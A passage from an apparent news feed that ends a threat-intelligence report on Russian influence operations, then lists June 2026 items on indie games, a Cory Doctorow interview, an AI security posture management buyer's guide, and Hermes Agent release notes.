US Government sanctions in late 2024 indicated that Russian state media company Russia Today (RT) directly conducted covert influence operations, including on behalf of the Russian intelligence services. Further, RT employees reportedly interacted with members of the self-proclaimed hacktivist group RaHDit, which has claimed to collaborate with multiple other pro-Russia hacktivist groups, illustrating the layered connections between overt media, Russian intelligence services, and hacktivist groups.

Figure 8: Overt Russian media maintains multiple links with the covert segments of the ecosystem

Outsourcing IO capability development and campaign execution to third-party organizations and proxies enables scaling and obfuscation. Outsourcing is used for developing custom tooling and bolstering both human and organizational capacity. While custom tool development facilitates operators in all phases of the IO lifecycle, Russian government actors can flexibly leverage different models for outsourcing campaign execution based on their specific needs. Proxy actors can also generate plausible deniability (Figure 9).

GTIG reported how Russian IT contractor NTC Vulkan (Russian: НТЦ Вулкан) worked with the Russian intelligence services, including providing tooling and support for the GRU unit that sponsors APT44 activity. Separately, US government sanctions detailed how the Doppelganger campaign is supported by multiple Russian contractors under the sponsorship of the Russian Presidential Administration.

Figure 9: Outsourcing and proxies support capability development and campaign execution for covert influence activity

Conclusion

Multiple factors are propelling the evolution of the pro-Russia influence ecosystem we have observed since Moscow’s full scale invasion of Ukraine four years ago. The Kremlin mobilized the entire ecosystem to support the ongoing conflict, which has provided rapid feedback and driven significant investment in new and established overt and covert influence assets. At the same time, pro-Russia actors are increasingly experimenting with generative AI to enhance their workflows. This condensed period of adaptation, alongside signals suggesting Russia's growing reliance on IO tactics to navigate new challenges, raises concerns regarding how a potentially diversifying pool of actors will leverage advancements in tradecraft and scalability. As Russia seeks to emerge from international isolation and reorients its influence ecosystem back toward global objectives, it is critical for defenders to understand how this ecosystem provides the Kremlin with a durable influence capability in order to better anticipate future Russian influence threats.

Additional Tools and Resources

For mitigation and hardening recommendations, please review the following:

Google offers a suite of free of cost tools to help protect high-risk users from the most pervasive digital attacks, to which politicians, journalists, and campaigns are often most vulnerable. Examples include protecting accounts from targeted attacks with Advanced Protection Program and safeguarding campaign websites from DDoS attacks with Project Shield.

XBOX Game Pass: Spart Microsoft bei den externen Partnern?

Mon, 29 Jun 2026 14:47:56 +0200

Einem Bericht zufolge fährt Microsoft bei externen Spiele-Entwicklern einen Sparkurs, was den XBOX Game Pass betrifft. Mehr oder weniger unterschriftsreife Verträge sollen demnach gecancelt worden sein. Das berichtet das Magazin TheGamer (via Winfuture) unter Berufung auf Insiderkreise. Mehrere Vereinbarungen, die zwar noch nicht unterschrieben, aber fast vollständig ausgehandelt waren, seien Indie-Entwicklern und Spielestudios sozusagen unter […]

Der Beitrag XBOX Game Pass: Spart Microsoft bei den externen Partnern? erschien zuerst auf Dr. Windows.

Retro vehicle combat game FUMES is adding co-op support

Mon, 29 Jun 2026 11:56:38 +0200

FUMES is a real indie gem, bringing vehicular combat action like some of the classics - and it's about to get a lot bigger with co-op support.

Read the full article on GamingOnLinux.

This bold FPS is the Kane & Lynch 2 successor I've been waiting for since the Xbox 360 days

Sat, 27 Jun 2026 19:02:52 +0200

This indie shooter is the Kane & Lynch 2 successor I've been waiting for.

Engadget Indie Pitch: I'M YOUR HOST

Sat, 27 Jun 2026 16:18:15 +0200

"Think Her Story, but weirder."

Indie developers got tired of waiting for a new Star Fox, so they’re making their own

Sat, 27 Jun 2026 16:01:27 +0200

Nostalgia remains a powerful force. So much so that, in exploring the echoes of a late-'90s childhood spent skimming the water of Corneria and sneering "cocky little freaks!" in time with a monkey encased in a Gundam suit, I'm simultaneously describing playing Star Fox 64 (Lylat Wars if you're nasty) in 1997 and streaming it […]

Indie-Hit Meccha Chameleon: Geni(t)ale Verstecke begeistern Spieler

Sat, 27 Jun 2026 15:17:38 +0200

Verstecken zu spielen macht nicht nur Kindern Spaß. Erwachsene erfreut mit diesem Prinzip Meccha Chameleon, der jüngste Indie-Hit auf Steam. Das klassische Kinderspiel erweitert der Titel um einen Pinsel und eine Farbpalette zur Tarnung. Der Kostenpunkt: Kaum mehr als 6 Euro.

A sidescrolling roguelite platformer, Steam Deck air hockey and other new indie games worth checking out

Sat, 27 Jun 2026 14:17:44 +0200

The Steam Summer Sale is underway.

'The original code is in this game' — Halo Campaign Evolved executive producer says some level layouts have been redesigned to avoid 'repetiveness' but 'you are playing the DNA of the original game'

Fri, 26 Jun 2026 17:04:42 +0200

Halo Studios has confirmed that Halo Campaign Evolved still has Halo: Combat Evolved's original code buried underneath the new Unreal Engine 5 build.

Supernatural horror adventure ASYLUM gets upgraded with Linux support

Fri, 26 Jun 2026 13:39:23 +0200

ASYLUM from Senscape released back in March 2025, and after dealing with Unreal Engine issues - they finally released the promised Native Linux version.

Read the full article on GamingOnLinux.

DELTARUNE chapter 5 is out now with chapter 6 due in 2027

Fri, 26 Jun 2026 13:09:22 +0200

DELTARUNE the massive indie hit from tobyfox has another whole chapter release free but that's not the end of the story.

Read the full article on GamingOnLinux.

"A hater community trying to kill the game": Epic Games CEO speaks out against Steam's forced AI disclosure policy and how it's harming developers

Thu, 25 Jun 2026 23:07:44 +0200

Epic Games CEO Tim Sweeney is not shy about taking shots at Steam, and in a recent interview, he talks about how forced AI disclosures on Valve's mega storefront are harming developers. He makes some good points, but keep in mind this is the same guy spearheading the AI-infused Unreal Engine 6.

Mit InnerPulse trackt ihr eure mentale Gesundheit datenschutzfreundlich

Thu, 25 Jun 2026 19:54:56 +0200

Mit InnerPulse (App-Store-Link) bringt der Hamburger Indie-Entwickler Marvin Blome eine datenschutzfreundliche Lösung für Menschen auf den Markt, die ihre mentale Gesundheit bewusster beobachten und besser verstehen möchten. Die App richtet sich an Nutzerinnen und Nutzer, die nicht nur ihre Stimmung dokumentieren, sondern auch Zusammenhänge zwischen Alltag, Gewohnheiten und Wohlbefinden erkennen wollen. Ich habe mir die […]

Der Beitrag Mit InnerPulse trackt ihr eure mentale Gesundheit datenschutzfreundlich erschien zuerst auf appgefahren.de.

Best modern app development tools in 2026: vibe coding and beyond

Thu, 25 Jun 2026 18:55:45 +0200

Let's compare the best AI tools for indie developers in 2026, from vibe coding app builders to Mac-native dev utilities.

Subpoint: Mit dieser App verfolgt ihr die ISS live

Thu, 25 Jun 2026 07:09:21 +0200

Für alle, die sich für Raumfahrt interessieren, ist die neue Indie-App Subpoint (App-Store-Link) ein heißer Tipp. Die Anwendung aus der Feder des Indie-Entwicklers Maximilian Weber ist ein Live-Tracker der Raumstation ISS, die euch zusätzlich zur Position der Station weitere interessante Einblicke in das Leben an Bord liefert. Die App könnt ihr ab sofort im App […]

Der Beitrag Subpoint: Mit dieser App verfolgt ihr die ISS live erschien zuerst auf appgefahren.de.

A24 Knows You’re Mad About the Google AI Collab

Wed, 24 Jun 2026 23:18:09 +0200

Indie movie fans are upset about Google DeepMind’s $75 million investment in the studio, which comes as AI companies are deepening their influence in Hollywood.

Building video games with 20 year old tech (gpn24)

Wed, 24 Jun 2026 20:48:50 +0200

The market is full of high-performance graphics APIs like Vulkan and fantastic engines like Unreal and Unity. So, why not use DirectX 9 and a self-built engine instead? ;) In this talk we'll take a quick stroll down memory lane, to look at the tech used to build video games in the 2000s. Then we'll see what we can build today using the tech from back then. Licensed to the public under https://creativecommons.org/licenses/by/4.0/ about this event: https://cfp.gulas.ch/gpn24/talk/JD3RUJ/

10 indie games from Summer Game Fest and the Xbox Games Showcase that I immediately added to my wishlist

Wed, 24 Jun 2026 11:10:19 +0200

The recent rash of new game announcements as part of summer showcases and festivals has left its mark on my gaming wishlist. Here are ten indies that were revealed during Summer Game Fest and Xbox Games Showcases that I think deserve some extra attention.

‘You can’t make billions without hurting people’: Cory Doctorow on Elon Musk, the AI bubble and bosses’ cruel fantasies

Wed, 24 Jun 2026 11:03:52 +0200

The writer who coined the word ‘enshittification’ tells us why AI will never deliver what it promises – and why it still appeals so much to those in power

A “centaur”, in automation theory, is a person assisted by a machine, and a “reverse centaur”, hero of Cory Doctorow’s new book, The Reverse Centaur’s Guide to Life After AI, is a “human who is conscripted into acting as an assistant to a machine”. Every warehouse worker who ever had to urinate in a water bottle because they couldn’t otherwise meet the fulfilment targets set by an algorithm is a reverse centaur. Reaching into the future, everyone who has to sit in a self-driving truck to make sure it doesn’t crash, presumably on minimum rather than truck-driver wages, is a reverse centaur; as is every lawyer no longer on lawyer’s money checking Gemini’s command of precedent, every indie band scraping a living doing covers of AI-generated hits, and so on. That, anyway, is the promise: AI is coming for your job, and it is coming for your kids’ jobs, and there is no point fighting it because the future’s already here.

Wiping out the world of work, and with it our ability to sustain ourselves and live autonomous lives, is only the beginning, if you listen to AI’s architects. Elon Musk has called it the single greatest threat to human civilisation, Sam Altman has said it will “most likely lead to the end of the world” and Dario Amodei, CEO of Anthropic, memorably forecast that AI would come to see us the way we see animals: cute to have around but ultimately a resource to be exploited. “AI people claim they’re about to create God, by teaching words to a word-guessing programme,” Doctorow says. “It’s grandiose.”

AI-SPM buyer’s guide: 14 tools to secure your AI infrastructure

Wed, 24 Jun 2026 09:09:48 +0200

Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow.

Moreover, where an organization sits on the AI maturity curve impacts its security needs. Trail of Bits CEO Dan Guide describes the AI journey as a migration from AI-assisted, where AI tools are used on existing workflows; through AI-augmented, which uses new workflows based on AI; to the AI-native organization, where AI “becomes a core participant in the delivery and operations of a business.”

Those three stages require very different approaches to securing AI. They also present challenges for AI security vendors, whose platforms must fit in multiple places in a corporate network and interact with a broad spectrum of applications — especially as agentic AI expands. As analyst David Linthicum recently posted, “the conversation now has to shift from model fascination to operational discipline. The question is how those agents should be governed once they begin touching workflows that affect customers, employees, suppliers, compliance, and revenue.”

Making matters worse is that the average enterprise manages 37 agents, with more than half running without security oversight or logging, according to Microsoft’s 2026 Cyber Pulse report, which also found that, while 80% of Fortune 500 companies use active AI agents, only 10% have a clear strategy for managing them.

That lack of strategy also opens the door for attackers to abuse corporate AI systems for malicious purposes, as the recent exploit of Meta’s account recovery using chatbots demonstrated.

The trick to securing AI systems is in understanding how much protection is needed and where it should be applied in the expanding AI universe. While one could rent a well-meaning AI agent called Sentry for $7,400 per month to automate the daily work of a SOC analyst, many organizations rolling out AI across their business would be best served by considering AI security posture management (AI-SPM) tools.

Over the past two years, this emerging field has matured, with many security vendors incorporating or acquiring SPM features as part of their general security product portfolio.

Some vendors, such as SentinelOne and Concentric, don’t specifically sell AI-SPM per se, but offer an SPM tool that is part of a larger package of AI security services. Others offer AI-SPM in conjunction with their other SPM tools or CNAPP security offerings. Some vendors, such as Cyera and Palo Alto, offer multiple AI-SPM packaging alternatives with differing feature sets.

Choosing the right product requires careful examination of the roster of features and integrations each product offers to ensure that it doesn’t duplicate existing security tooling or worse, leave important coverage gaps.

Here we take a deeper look at the AI-SPM product category, with a breakdown of offerings from 14 of the leading vendors in this increasingly important security ecosystem.

AI security posture management explained

AI security posture management is an evolving cybersecurity discipline focused on ensuring the integrity and security of AI and machine learning systems. AI-SPM encompasses strategies, tools, and techniques for monitoring, assessing, and enhancing the security of AI models, data, pipelines, applications, and services, even as threats to those entities continually evolve.

In the past, security posture management tools were designed for two situations: to protect general cloud operations against misconfigurations and abuse, which is the province of cloud security posture management tools; and to protect against data leakage or malware infections, which is the province of data security posture management tools. With the rise of AI and large language models (LLMs), a third SPM product category is needed to check AI cloud services and their SDKs (like Hugging Face Transformers or Azure Open AI SDK) to prevent model abuses. This is because numerous studies have documented how AI training data can be the subject of an attack or how bad data can be injected into models to manipulate results, including creating malicious backdoors for attackers to use to enter your enterprise.

The latest reports about attacks on AI and AI abuse can help you better understand the scope of security challenges rapidly evolving today. MITRE continues to enhance its comprehensive database of adversary tactics — Adversarial Threat Landscape for Artificial-Intelligence Systems (ATLAS) — based on real-world attack observations. ATLAS currently spans 170 techniques and 57 case studies. MIT researchers also maintain a growing database of more than 1,700 AI-related risks that they have observed from various AI sources. Another great source of AI-related attack methods is from the Open Worldwide Application Security Project (OWASP), which maintains a Top 10 list of LLM exploits. Security managers should examine them before choosing any AI-SPM product. They should also consult Richard Stiennon’s Guardians of the Machine Age, the most comprehensive collection of general security vendors, listing more than 100 AI security vendors. The printed book offers a deeper dive into the specifics of these tools.

The AI-SPM vendor landscape is quickly evolving, as incumbent security vendors have made numerous acquisitions. Palo Alto Networks bought Protect.ai last year; Cato Networks acquired Aim.security; Orca acquired Opus for AI agentic security; SentinelOne acquired Prompt.Security; Varonis acquired a variety of companies, including Cyral, SlashNext, and AllTrue.ai; and Google acquired Wiz.

Why enterprises need AI-SPM

AI-SPMs have been designed to protect enterprise networks and applications from a range of threats to AI systems. Just like no modern business would assemble a network without an appropriate firewall, AI-SPMs “ensure that AI models stay explainable, fair, accountable, transparent and equitable,” Forrester analyst Andras Cser tells CSO. “Further good security hygiene dictates that AI infrastructure should not be allowed to be used as a steppingstone for hackers for lateral movement and data exfiltration, and should include policies to prevent and fix configuration drift.”

AI-SPM can also help organizations standardize on a series of AI policies, procedures, tools, and workflows that can boost their security. Guido’s talk — linked above — is chock full of suggestions on how Trail of Bits accomplished this.

Major AI-SPM trends and product features

All AI-SPM vendors make use of agentless configurations, accessing cloud-based models and leaving data on their existing platforms. This is both a security measure and to avoid moving the massive data repositories involved across the internet.

AI-SPM vendors also make use of AI-related mechanisms to classify and track these vast data collections and to protect them against potential abuse and attack. Many have integrated their AI-SPM solutions in one of three directions:

Bolting AI-SPM onto their existing cloud or data SPM platforms with rules, compliance checking, best practices, and protection policies that bridge all three types of security postures.
Stitching AI-SPM into their general AI security product that can be used to formulate AI-specific policies and perform AI-based red team and penetration testing in an effort to protect AI pipelines and workloads and uncover ways that shared AI services and platforms could be compromised.
Incorporating AI-SPM to help identify sensitive data referenced by an AI model and to examine training data exposed to a third-party or external application.

Some vendors, especially established security vendors such as CrowdStrike, Proofpoint, Palo Alto, Varonis, and Wiz, have hundreds of third-party integrations that cover the AI waterfront (such as AI assistants and model suppliers) and general IT security arena (such as development pipelines, data feeds, and tools such as SOAR and SIEM). All three types of integrations can provide better guiderails and limit an AI’s blast radius.

But AI-SPM is still evolving. Some vendors’ tools just perform a top-level inspection of one or two services from each of the big three cloud platforms’ AI services (Amazon, for example, has dozens of AI-related service offerings), whereas others (such as Palo Alto Networks, Cato, Cyera, Varonis, and Wiz) take a deeper dive, performing a more comprehensive examination of AI data from the AI vendors themselves and other model sources.

There are two open source efforts as well: Orca’s GOAT is a free learning platform that is based on the OWASP top 10 risks. Palo Alto’s Protect.ai has its collection of open-source tools on GitHub for scanning models and discovering AI interactions and automated red teaming called ProtectAI OSS. However, neither of these projects has been recently updated.

How to choose an AI-SPM tool

Here are several considerations when deciding on the best AI-SPM tool for your enterprise:

Does the vendor work with your existing security tool collection? This has two dimensions: integrating with other SPM products (such as data or cloud protection), and integrating with third-party tools such as SOARs, SIEMs, or DLP products. We have included some vendors that don’t have a specific AI-related SPM (such as Concentric and CrowdStrike) but have deeply embedded AI protection into their platforms.
How deep is the coverage across the cloud platform providers? The big three (AWS, Azure, and GCP) have many services that touch various aspects of AI, and some products only work with a few of them, or only connect with PaaS security “hubs.”
Does the vendor continuously scan your infrastructure looking for vulnerabilities? AI can be quickly adopted and is very dynamic, so discrete scans are less useful.
How important is having a tool that can help with AI red teaming? Understanding the dynamic nature of how AI operates means having a different approach to penetration testing, and this can be a very useful feature. Only a few vendors offer this feature (such as Concentric, Palo Alto Networks, and Varonis).

Leading AI-SPM vendors and products

We reached out to a range of leading AI-SPM security vendors to demonstrate their AI-related tools. Below are more details about each of the 14 we had the opportunity to preview. We have also summarized each vendor’s offerings in the features table, which also provides links, when available, to pricing and third-party integration details. Several vendors didn’t respond to our inquiries, including Baffle.io, Invicti, SecurityCompass, Tonic Security, and Zscaler.

Vendor	Product/URL	Entry-level pricing	Packaging	Integrations link	App runtime security	Continuous scanning?	MCP/Agent protection?	AI Red Teaming?
Arthur.ai	Arthur Platform	Free and paid versions	Single product	Deep PaaS coverage	Yes	Yes	Yes	No
Cato Networks	AI Security for End Users		SASE platform	Numerous	Yes	Yes	Yes	No
Concentric	No specific AI-SPM product	AWS $50,000/yr, varies	Part of its DSPM platform	Numerous	No	Yes	No	Yes
CrowdStrike	No specific AI-SPM product		Part of Falcon AI platform	Numerous	Yes	Yes	Yes	Separate service
Cyera	AI Guardian	AWS $50,000/yr	Sold in two bundles, see description	Numerous	Yes	Yes	Yes	No
Guardrail Technologies	Traffic Light for Code and AI	Free and monthly plans	Also sell AI Command Center	Some	Yes	Yes	No	No
Microsoft	Purview	$12.60/user/mo	Part of larger CSPM platform	Some	Yes	No	Yes	No
OneTrust	AI Governance	Subscriptions	Single product with SPM features	Some	Yes	Yes	No	No
Orca Security	AI-SPM	AWS $84,000/yr	Has other AI security tools	Numerous	Yes	Yes	Yes	No
Palo Alto Networks	Prisma AI Security		Sold in two bundles, see description	Numerous	Yes	Yes	Yes	Yes
Proofpoint	AI Access Security	AWS $96,000/yr	People Protection Platform	Numerous	Yes	Yes	Yes	No
SentinelOne	No specific AI SPM product	$80/yr/endpoint	Part of larger Singularity platform	Numerous	Yes	Yes	Yes	Yes
Varonis	Atlas	AWS $108,000/yr	Bundled with AI Inventory	Hundreds	Yes	Yes	Yes	Yes
Wiz/Google	AI App Protection Platform	AWS $38,000/yr	Variety of bundles available	Numerous	Yes	Yes	Yes	No

Arthur.ai

Arthur.ai’s platform is a single product that offers deep PaaS coverage with both AWS and Google Cloud Platform, although unlike other AI-SPMs it doesn’t offer a wide range of third-party integrations. It includes application runtime security protection. It also scans network traffic continuously and watches for agent activity, along with policy guardrails to protect against prompt injection and sensitive data leakage. It includes behavioral analytics and governance that catch abusive agentic activities. There are free and paid versions starting at $10,000 annual plans for smaller networks.

Cato Networks AI Security for End Users

Cato Networks AI Security for End Users is one of three separate AI security packages that work together with Cato’s SASE platform, the other two being protection for applications (both runtime and across the software development lifecycle) and for real-time agentic operations. The three AI packages are meant to be purchased together to provide audit trails showing what users are doing with their AI tools and to help understand and illustrate the risks. Cato’s tools can also prevent prompt injection and data leaks and find compliance blind spots. Its platform has a wide collection of third-party integrations, including CrowdStrike, Microsoft, and Splunk SIEMs, and various data sources such as Google’s Chronicle and Rapid7. Cato Networks did not reveal pricing.

Concentric AI and Data Security Governance

Concentric sells a DSPM platform labelled “AI and Data Security Governance.” There is no specific AI tool, although AI pervades its product in a variety of places, including scanning various models for prompt injection, automated remediation, and the discovery and classification of data flows. It offers a wide collection of third-party integrations. On the AWS Marketplace, it sells an entry-level version for $50,000 per year that covers up to 25TB of data, with higher fees for larger data collections.

CrowdStrike Falcon AI-SPM

CrowdStrike Falcon AI-SPM is not a separate product, but part of the overall Falcon Cloud security platform. It can correlate risk findings with other security services monitored by the full Falcon platform. It includes discovery of AI services and models across a variety of cloud platforms, including containers and virtual images, and can detect misconfigurations and dependencies with other software. It scans OpenAI, Amazon Bedrock, Amazon SageMaker, and Vertex AI models. Falcon has more than 250 integrations available to a wide collection of third-party security tools. You can request a free 15-day trial, but no further pricing information was disclosed.

Cyera AI Guardian

Cyera.io specializes in data file level classification. It packages its AI-SPM product in two separate bundles: either with its flagship DSPM product that has added what you might think of as AI-enriched data link protection as part of the default product’s features, or with a more complete set of security features called AI Guardian. Cyera also offers a specialized add-on module used for Microsoft Copilot data scanning that can detect data used by insiders, for example. Cyera’s AWS Marketplace pricing can be found here and starts at $50,000 per year.

Guardrail Technologies Traffic Light for Code and AI

Guardrail Technologies Traffic Light for Code and AI is designed to be a simple way to flag potential AI abuse by scanning AI-generated code and returning a red/yellow/green result to indicate potential for compromise. There is no remediation, but the tool integrates across the major AI vendors, including Anthropic, Azure Open AI, Hugging Face, and AWS Bedrock, and general security tools such as Wiz and Snyk. Guardrail has a custom AI security consulting business as well called AI Guardian. Very transparent pricing page and a 60-day free trial is available.

Microsoft Purview

Microsoft has bundled its various security posture tools into its Purview offering, which includes a series of AI-based Copilot apps, data SPM and classification tools, and data loss prevention extensions tuned to its various SaaS platforms such as 365, Azure, and Windows endpoints. This extends the AI security features that were originally part of its Defender for Cloud offerings. It has a limited number of third-party integrations. One-month free trials are available, and the entire suite is available for $12.60 per month per user. Microsoft has stepped up its involvement with AI with its Scout, a collection of autonomous AI agents built on top of OpenClaw. It is designed to work with its applications, using built-in security and privacy controls.

OneTrust AI Governance

OneTrust offers AI Governance, a platform that automates compliance and provides continuous monitoring of the AI landscape, across the software lifecycle starting with any AI usage at the beginning of any build. It can detect policy violations, and which AI agents are running. It offers a series of third-party integrations such as Amazon’s Bedrock and Sagemaker; Azure Foundry, ML Studio, and OpenAI; Databricks Unity Catalog and ML flow; and Google Vertex. Its subscription price is based on the number of admin users and number of AI inventory records, although no specifics were provided.

Orca AI-SPM

Orca Security’s AI-SPM is tightly integrated into the company’s security platform. It continues to expand its features, offering detections of more than 50 AI models, including training data and runtime threats, remediation, and support for Model Context Protocol to connect to other Orca-based telemetry. It continues to expand its nearly 100 integrations across SIEM and SOAR systems and various cloud providers’ services. For example, it works with AWS S3, SQS, SNS, CodeBuild, CloudTrail, and Security Hub. It comes with dozens of best-practice security rules that initially focused on compliance. It also alerts when sensitive data is detected inside models and when secrets are exposed. Orca’s overall security platform shows an AWS Marketplace annual pricing that ranges from $84,000 to $360,000, depending on the number of workloads scanned.

Palo Alto Networks AIRS AI Security

Palo Alto Networks has been busy acquiring point security vendors (Dig, ProtectAI, and an offer on Portkey) and incorporating their code into its two major product lines, Prisma and Cortex. You can purchase AI-SPM functionality in either Palo Alto product line, but they cover different aspects of the AI ecosystem. Cortex offers AI-SPM alongside the data and cloud SPMs integrated into the CNAPP suite. Prisma offers AI-SPM as part of a total AI security package called AIRS AI Security, which includes runtime protection, model scanning, and a more comprehensive platform. We focus on AIRS AI, which supports top-level scans of Amazon, Google Cloud, and Azure AI services to discover AI content and can classify and examine model data and secrets and comes with many built-in AI-related policies. Prisma has a long list of third-party integrations, including significant depth in AWS security services. That link will also take you to detailed instructions on how to set up these integrations. To complicate matters further, Palo Alto also sells a separate Prisma secure browser extension that works with these products to protect your endpoints, and that originated from technology it purchased from Talon Cyber Security in 2023. While pricing was not disclosed, our estimate is that AIRS will cost in the low six figures annually.

Proofpoint People Protection Platform

Proofpoint includes a general AI security product as part of its People Protection Platform that covers a wide range of protective services integrated across its other non-AI security tools. It provides runtime inspection of potential AI misconfigurations, as well as policies that include detection of agent, tools, and MCP connections, and it can generate forensic audits of AI interactions. Proofpoint’s general security platform starts at $96,000 annually on AWS Marketplace. It has several integrations with third-party services across the major cloud platform providers.

SentinelOne Singularity Platform

SentinelOne’s Singularity platform offers several AI protective features, including misconfiguration detection, attack path analysis, automated AI inventory and remediation, and integration with a variety of AI PaaS platforms such as Azure OpenAI, Google’s Vertex AI, and various AWS services. It is bundled within the company’s Cloud Native Security tool. Some of these features originated with Singularity’s purchase of Prompt.Security. Access to all the features requires purchasing the enterprise edition, which is offered with custom pricing, but lower feature tiers are available for $80 per year on this public pricing page. There are also numerous integrations with its Marketplace.

Varonis Atlas AI Security

Varonis Atlas AI Security is a multipurpose security platform that offers a variety of modules, including red team/penetration testing, compliance, and third-party risk management. Its AI-SPM module is combined with an AI inventory scanner and can be used to help development teams classify data used in the AI ecosystem, such as scanning for bad AI behavior, leveraging identities improperly, and examining data flows. Automated remediation processes are built into the tool as well. There are several hundred third-party integrations available for a wide collection of security tools, such as JFrog, Jira, Okta, and Salesforce. Varonis has two pricing components; one based on per user and per protected application and an additional price for resource consumption. Atlas is sold on the AWS Marketplace starting at $108,000 per year and free risk assessments are available to qualified customers.

Wiz/Google AI Application Protection Platform

Google has acquired Wiz but kept its operation independent. It has a multipurpose security platform that comes from a strong posture management (cloud and data) background. Its advanced version has been augmented with a comprehensive AI-related series of policies, detection algorithms, and pipeline, model, and data scanners. These are assembled into a separate AI dashboard page. It can also detect AI pipeline abuses, protect AI runtimes, identify and classify tools and agents, map dependencies graphically and suggest remediation steps. It also contains core AI-SPM features such as discovery, attack path analysis, and supply chains. Pricing for the Wiz Advanced bundle on AWS Marketplace is $38,000 annually.

What about AI-SPM pricing?

Pricing and packaging of AI-SPM tools vary widely. Many vendors offer free trials limited to differing periods (an option that is also available on the AWS Marketplace). We pointed out the open-source alternatives earlier, which is also a good way to see how the products work, but we wouldn’t recommend relying on these tools given their lack of recent updates. The only vendors that have (mostly) transparent pricing are Guardrail Technologies (with both free and monthly plans) and SentinelOne (with various annual plans starting at $80 per endpoint). Most of the vendors didn’t want to provide pricing directly but have published pricing on the AWS Marketplace, which can give you a rough indication that most start in the low six figures for annual contracts. For a typical situation with 1,000 users the total could be in the low six-figure range annually.

Google investiert 75 Millionen US-Dollar in Filmstudio A24

Wed, 24 Jun 2026 09:03:57 +0200

Google investiert 75 Millionen US-Dollar in A24. DeepMind entwickelt gemeinsam mit dem Indie-Filmstudio neue KI-Werkzeuge für Filmschaffende.

Burgenbau-RTS: Demo zu Stronghold 4 ist jetzt auf Steam verfügbar

Tue, 23 Jun 2026 21:18:14 +0200

Anfang Juni hat Firefly mit Stronghold 4 den nächsten Teil der ikonischen Burgenbau-Spieleserie angekündigt. Schon damals haben die britischen Indie-Entwickler eine Demo-Version zum Echzeitstrategiespiel angekündigt. Jetzt ist sie verfügbar.

Battlefield Studios begin sponsoring Godot Engine development

Tue, 23 Jun 2026 17:41:56 +0200

Battlefield Studios (Electronic Arts) have joined up with Godot Engine to provide their developers with some extra funding.

Read the full article on GamingOnLinux.

Futter für die Steam-Wunschliste: Valve nennt die 50 meistgespielten Next-Fest-Demos

Tue, 23 Jun 2026 17:19:16 +0200

Dreimal im Jahr rückt Valve mit der Steam-Spielevorschau eine Woche lang Demos zu neuen Indie-Games und Entwickler-Livestreams in den Mittelpunkt. Die Juni-Ausgabe des Next Fests ging gestern Abend zu Ende. Im Nachgang nennt Valve jetzt die 50 meistgespielten Spiele-Demos des Events. Fast alle sind noch verfügbar.

(g+) GDScript im Praxistest: Warten in der Godot-Engine

Tue, 23 Jun 2026 13:32:50 +0200

GDScript ist eng mit Godot verknüpft und deswegen gut für Einsteiger. Sie sollten allerdings um seine Schwächen wissen, damit ihr Gameplay-Code nicht crasht. Von Fabian Deitelhoff (Softwareentwicklung, Server)

Run your own haunted house in the management sim Scream Operator

Tue, 23 Jun 2026 09:54:32 +0200

Scream Operator is an upcoming indie pixel-art management sim, where you run your own haunted house and have to create the best scares possible to earn big.

Read the full article on GamingOnLinux.

Google DeepMind Partners With Hollywood Indie Darling A24 to Develop AI Filmmaking Tools

Mon, 22 Jun 2026 23:48:13 +0200

The production studio is receiving $75 million to produce AI tools for its filmmakers -- and for the search giant's AI ecosystem.

Epic Games: Neuer Launcher soll deutlich flotter werden

Mon, 22 Jun 2026 10:18:14 +0200

Der Epic Games Launcher hat nicht unbedingt den Ruf, eine Rakete zu sein. Auf dem Unreal Fest gab es nun einen Ausblick auf die Zukunft. Das Unternehmen arbeitet an einer komplett neuen Version des Launchers, die von Grund auf neu...

Zum Beitrag: Epic Games: Neuer Launcher soll deutlich flotter werden

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Halo: Campaign Evolved is shaping up to be something special, but I can’t shake the feeling that key features are being left behind

Sun, 21 Jun 2026 15:24:25 +0200

Despite gorgeous Unreal Engine 5 visuals, Halo: Campaign Evolved drops iconic features like scoring and community tools with no post-launch updates planned.

“Our goal is simple”: Xbox unveils major push to simplify Unreal Engine development

Sun, 21 Jun 2026 15:09:59 +0200

Xbox launches new Unreal Engine 5.8 plugins to strip away development friction and pave the way for Project Helix.

Steam Next Fest demos, a Virtual Boy-inspired shooter and other new indie games worth checking out

Sat, 20 Jun 2026 13:03:07 +0200

Steam Next Fest demos, a Virtual Boy-inspired shooter and other new indie games worth checking out.

Hermes Agent v0.17.0 (v2026.6.19)

Fri, 19 Jun 2026 21:46:52 +0200

Hermes Agent v0.17.0 (v2026.6.19)

Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the memory tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.

✨ Highlights

Hermes reaches iMessage — Photon Spectrum, no Mac relay required — There's now an iMessage platform plugin built on Photon's managed line pool. Run hermes photon login, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (#32348, #42582, #44713 — @teknium1)
Raft — Hermes joins the Raft agent network as a gateway channel — A new bundled Raft platform adapter lets Hermes connect to Raft as an external agent through a wake-channel bridge. Set RAFT_PROFILE, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (#48210 — @xxchan, @teknium1)
A substantially more capable desktop app — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent watch-windows that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install any VS Code Marketplace theme directly into the app. The desktop is now a serious daily driver, not a preview. (#45866, #40660, #47060, #46959, #43292, #44596 — @OutThisLife, @teknium1)
